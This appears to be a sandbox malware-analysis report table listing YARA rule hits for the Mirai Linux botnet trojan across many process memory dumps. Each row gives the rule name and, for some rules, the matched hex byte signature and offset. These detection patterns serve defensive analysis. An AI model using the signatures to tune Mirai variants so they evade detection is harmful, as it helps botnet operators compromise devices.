6301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7134.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7134.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7134.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7134.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7134.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7134.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6904.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6904.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6904.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6904.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6904.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6904.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6509.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6509.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6509.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6509.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6509.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6509.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6340.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6340.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7424.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7424.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7424.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7424.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7424.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7424.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6894.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6894.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6894.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7317.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7317.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7006.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7006.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7006.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7006.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7006.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7006.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7222.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7191.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7191.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7191.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7191.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7191.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7191.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6748.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6748.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6748.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6748.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6748.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6748.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6669.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6669.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6669.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6669.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6669.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6669.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7228.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7228.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7228.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7228.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7228.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7228.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6578.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6861.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7017.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7017.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7017.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7017.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7017.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7017.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7229.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7229.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7229.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7229.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7229.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7229.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6555.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6555.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6555.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6555.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6555.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6555.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6755.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6496.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6496.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6496.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6496.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6496.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6496.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6348.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6348.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6569.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6569.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6569.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6569.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6569.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6569.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6619.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6838.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6838.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6838.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6894.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6894.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6894.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6840.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6840.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6840.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6840.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6840.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6840.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7274.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7274.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7151.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7151.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7151.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7151.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7151.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7151.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6716.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6710.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6710.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6710.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6710.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6710.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6710.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6755.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6755.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6755.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6755.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6755.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6971.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6971.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6971.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6971.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6971.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6971.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6838.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6838.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6838.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7222.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7222.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7222.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7222.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7222.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
